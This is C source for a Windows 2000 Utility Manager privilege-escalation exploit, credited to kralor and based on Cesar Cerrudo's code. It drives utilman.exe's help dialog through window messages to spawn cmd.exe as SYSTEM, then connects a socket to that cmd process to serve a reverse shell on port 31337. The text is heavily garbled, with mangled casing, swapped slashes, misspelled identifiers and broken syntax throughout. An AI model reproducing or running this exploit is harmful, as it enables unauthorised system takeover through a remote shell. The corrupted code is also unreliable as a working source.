/ ************************************************** **************************************** ********** ***** C *** ** o ***** r ***** o ***** m ****** p ***** u ****** t ******* E ****** r ***** 2 *** 0 *** 0 *** 4 **** ** [CRPT] UTILITY Manager Exploit v2.666 modified by kralor [crpt] *** *********************************************************** *************************************** ** IT Gets System Language and Sets Windows Names To work on any win2k: p ** ** feel free to add other logages :) ** ** v2.666: added autonomous (allinone) Remote explocation system;) ** ** it can be el executed through poor cmd.exe Shells (Like Nc -LP 666-E cmd.exe from a ** ** normal user account). Must Be Called with an argument (any argument) ** ** you know where we are .. ** ***** c ***** o ***** r ***** o ***** m ****** p ***** u **** *** t ******* E ****** r ***** 2 *** 0 *** 0 *** 4 **** ********* *********************************************************** **************************************** / / * Original Disclaimer * /// By Cesar Cerrudo SQLSEC> At #include #pragma comment (Lib, "WS2_32") #define EXIT_SHELL "EXIT -SHELL" #define host "localhost" #define port 31337struct {Int id; char * utilman; char * winhelp; char * open;} lang [] = {{0x0c, "gestionnaire d'utilitaires", "Aide de Windows", "OUVRIR"}, / * french * / {0x09, "Utility Manager", "Windows Help", "Open"} / * English * /}; Void Print_LANG (INT ID) {char * lang_list [] = {"neutral", "Arabic", "Bulgarian", "Catalan", "Chinese", "Czech", "Danish", "German", "Greek", "English", "Spanish", "Finnish", "French", "Hebrew", "Hungarian", "Iceland", "Italian", "Japanese", "Korean", "Norwegian", "Polish" "" Portuguese "," Romanian "," Russian "," Croatian "," Serbian "," Slovak "," Albanian "," Swedish "," Thai "," Turkish "," URDU "," IndoSesian ", "Ukrainian", "Belarusian", "Slovenian", "Estonian", "Litvian", "Lithuanian", "Farsi", "Vietnamese", "ARMENIAN", "Azeri", "Basque", "Fyro Macedonian", " Afrikaans "," Georgian "," Faeroese "," Hindi "," Malay "," Kazak "," Kyrgyz "," Swahili "," Uzbek "," Tatar "," Not Supported "," Punjabi "," Gujarati " "NOT Supported", "TAMIL", "Telugu", "Kannada", "NOT Supported", "NOT Supported", "MARATHI", "Sanskrit", "Mongolian", "Galician the Best", "" Konkani, "Not Supported", "Not Supported", "Syriac", "Not Supported", "NOT Supported", "Divehi", "INVA Riant "}; Printf ("% s / r / n ", lang_list [id]); return;} int cnx (char * host, int port) {SOCKET sock; struct sockaddr_in yeah; struct hostent * she; PROCESS_INFORMATION ProcessInformation; STARTUPINFO si; printf ( "[i] should be called by myself, try with any argument to load the attack / R / N "); fflush (stdout); sock = wsasocket (0x02, 0x01, 0x00, 0x00, 0x00, 0x00); if (! suck) {printf (" error: unable to create socket / r / n "); Return -1; Yeah.sin_Family = AF_INET; YEAH.SIN_ADDR.S_ADDR = INET_ADDR (Host); Yeah.SIN_PORT = HTONS ((u_short) port); IF ((She = gethostByname (Host))! = null) {Memcpy ((char *) & yeah.sin_addr, she-> h_addr, she-> h_length);} else {IF ((YEAH.SIN_ADDR.S_ADDR = INET_ADDR ( Host) == INADDR_NONE) {Printf ("Error: Cannot Resolve Host / R / N); RETURN-1;}} IF (Connect (Sock, (Steruct SockAddr *) & Yeah, Sizeof (Yeah))! = 0 ) {Printf ("Error: Connection Refuse / R / N); Return-1;} Si.cb = 0x44; si.lpReServed = 0x00; Si.LPTITLE = 0x00; Si.lpdesktop = 0x00; Si.dwx = 0x00; Si.dwy = 0x00; Si.dwXSize = 0x00; Si.dwysize = 0x00; Si. WshowWindow = 0x00; si.lpreserved2 = 0x00; si.cbreserved2 = 0x00; Si.dwflags = 0x101; Si.hstdinput = (void *) Sock; si.hstdoutput = (void *) sock; si.hstderror = (void *) SOCK; IF (! CreateProcess (0x00, "CMD", 0x00, 0x00, 0x01, 0x10, 0x00, 0x00, & Si, & ProcessInformation) {Printf ("CreateProcess () error / r / n"); return -1;} returnograph } Void cmdshell (int set = 666; char buffer [1024]; While (length) {length = read (0, buffer, sizeof (buffer); buffer [length] = 0; if (! Strncmp (buffer, exit_shell, strlen) {send (SOT (SOCK, "EXIT / R / N ", 6, 0); Break;} length = send (SOCK, BUFFER, LENGTH, 0); if (Length <= 0) {Printf (" [i] connection closed./n "); exit (0 );}} Printf ("[i] connection successfully exited./r/N"); exit (0);} void wait_cnx (int port) {Int Sock, s, t; struct sockaddr_in my_addr; struct sockaddr_in their_addr; int SIN_SIZE; Char Buffer [4095]; IF ((SOCK = Socket (AF_INET, SOCK_STREAM, 0) == - 1) {Printf ("Error: Unable to create socket / r / n"); exit (1);} my_addr.sin_family = AF_INET; MY_ADDR. sin_port = htons ((u_short) port); my_addr.sin_addr.s_addr = INADDR_ANY; if (bind (sock, (struct sockaddr *) & my_addr, sizeof (struct sockaddr)) == - 1) {printf ( "error: unable to Bind socket on port% d / r / n ", port); exit (1);} IF (listen (SOCK, 3) == - 1) {Printf (" Error: Unable to listen / r / n "); Exit (1);} sin_size = sizeof (struct sockaddr_in); Printf ("[i] waiting connection on port% d / r / n", port); IF ((S = Accept (STRUCKADDR *) & their_addr, & sin_size)) == - 1) {Printf ("Error: Unable to Accept Connection / R / N"); EXIT (1);} MEMSET (Buffer , 0, sizeof ("[i] host% s connection / r / n", INET_NTOA (THEIR_ADDR.SIN_ADDR); Printf ("[h] type 'exit -shell' to Leave the shell / R / N / R / N "); fflush (stdout); Createthread (NULL, 0, (LPTHREAD_START_ROUTINE) cmdshell, (void *) s, 0, & t); while ((sin_size = recv (s, buffer, sizeof) Buffer, 0)> 0) {Buffer [SIN_SIZE] = 0x00; Printf ("% s", buffer); fflush (stdout);} printf ("/ r / n [i] shell lost / r / n" );} Int set_lang (void) {unsigned int lang_usr, lang_sys, id; id = GetSystemDefaultLangID (); lang_sys = PRIMARYLANGID (id); id = GetUserDefaultLangID (); lang_usr = PRIMARYLANGID (id); if (lang_usr = lang_sys!) {printf ( "warning: user language differs from system language / r / n / R / N "); Printf (" 1. System: "); Print_LANG (lang_sys); Printf (" 2. User: "); Print_LANG (LANG_USR); Printf (" SELECT (1-2): "); fflush (stdout); id = getch (); if (id! = 49 && id! = 50) {Printf ("Wrong Choice '% C', Leaving./R/N", IF); EXIT (0);} ID == 49) {Printf ("System Language / R / N"); Return Lang_SYS;} Else Printf ("User Language / R / N");} Return LANG_USR;} Void banner () {Printf ("/ R / N / R / N / T [CRPT] UTILITY Manager Explloit V2.666 Modified by Kralor [CRPT] / R / N"); Printf ("/ T / T / T Base CODE BY CESAR CERRUDO / R / N "); Printf (" / T Added Autonomous (Allinone) Remote Exploitation System / R / N "); Printf (" / T / T / T You Know Where We Are ... / r / N / R / N "); fflush (stdout); Return;} Void Give_Magicshell (Void) {CNX (Host, Port); EXIT (0); Return;} void enter_filename (hwnd hwnd, char * filename, int size) {unsigned INT i; For (i = 0; unsigned int) Size; i ) SendMessage (hwnd, wm_ime_keydown, TouPper (filename [i]), 0); Return;} INT Main (int Argc, char * argv []) {hWnd LHANDLE, LHANDLE2; Point Point; char cmd [512]; unsigned Int i, j, t; int lang_id, path_len = 1024; char * path; wsadata WSA; handle HDLR; Banner (); if (WSAStartup (0x101, & WSA)) {Printf ("Error: Unable to Load Winsock / R / N"); RETURN-1;} if (argc == 1) give_magicshell (); HDLR = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) / WAIT_CNX, (Void *) Port, 0, & T); SLEEP (1000); Printf ("[ ] Gathering System Language Information / R / N"); LANG_ID = set_lang (); Printf ("[ ] Ok Language ..."); Print_LANG (LANG_ID); FFLUSH (stdout); for (i = 0; I Printf ("PROG:% S / R / N", CMD); CMD [Strlen (CMD) -1] = '?; fflush (stdout); // Run Utility Manager Winexec ("Utilman.exe / Start", SW_HIDE); SLEEP (1000); LHANDE = FINDWINDOW (NULL, LANG [I] .utilman); if (! LHANDLE) {Printf ("Error: Unable to start utilman.exe./r/N"); return 0;} Postmessage (LHANDLE, 0X313, 0); // = Right Click on the app button in the task bar or alt space bar Sleep (100); sendMessage (LHANDLE, 0X365, 0, 0X1); // send wm_commandhelp 0x0365 LPARAM Must be <> NULL SLEP (300); SendMessage (FindWindow (null, lang [i] .winhelp), WM_IME_KEYDOWN, VK_RETURN, 0); SLEEP (500); // Find Open file dialog window LHANDE = FindWindow ("# 32770", lang [i] .Open); // Get Input Box Handle Lhandle2 = getdlgitem (LHANDLE, 0X47C); SLEEP (500); Path = (char *) Malloc (Path_len); getCurrentDirectory (Path_Len, Path); Printf ("Path:% S / R / N", PATH); SendMessage (LHANDLE2, WM_SETTEXT, 0, (LPARAM) PATH); SendMessage LHANDLE2, WM_IME_KEYDOWN, VK_RETURN, 0); Free (Path); FFlush (stdout); // set text to filter listview to display only cmd.exe sendmessage (LHANDLE2, WM_SETTEXT, 0, (LPARAM) CMD); SLEEP (800); // send return sendMessage (LHANDLE2, WM_IME_KEYDOWN, VK_RETURN, 0); // get navigation bar handle lHandle2 = GetDlgItem (lHandle, 0x4A0); // send tab SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0); Sleep (500); lHandle2 = FindWindowEx (lHandle, NULL, "SHELLDLL_DefView", NULL); // get list view handle Lhandle2 = getdlgitem (LHANDLE2, 0X1); ENTER_FILENAME (LHANDLE2, CMD, STRLEN (CMD) -4); SLEEP (500); // Popup Context Menu PostMessage (LHANDLE2, WM_CONTEXTMENU, 0, 0); SLEEP (1000); // Get Context Menu Handle Point.x = 10; Point.y = 30; LHANDLE2 = WINDOWFROMPOINT (POINT); SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return SendMessage (LHANDLE, WM_CLOSE, 0, 0); // Close Open File Dialog Window Sleep (500); SendMessage (FindWindow (Null, Lang [i] .winhelp), WM_Close, 0, 0); // Close Open Error Window SendMessage (FindWindow (Null, Lang [i] .utilman), WM_Close, 0, 0); // Close UtilityManager WaitforsingleObject (HDLR, Infinite); wsacleanup (); return 0;}
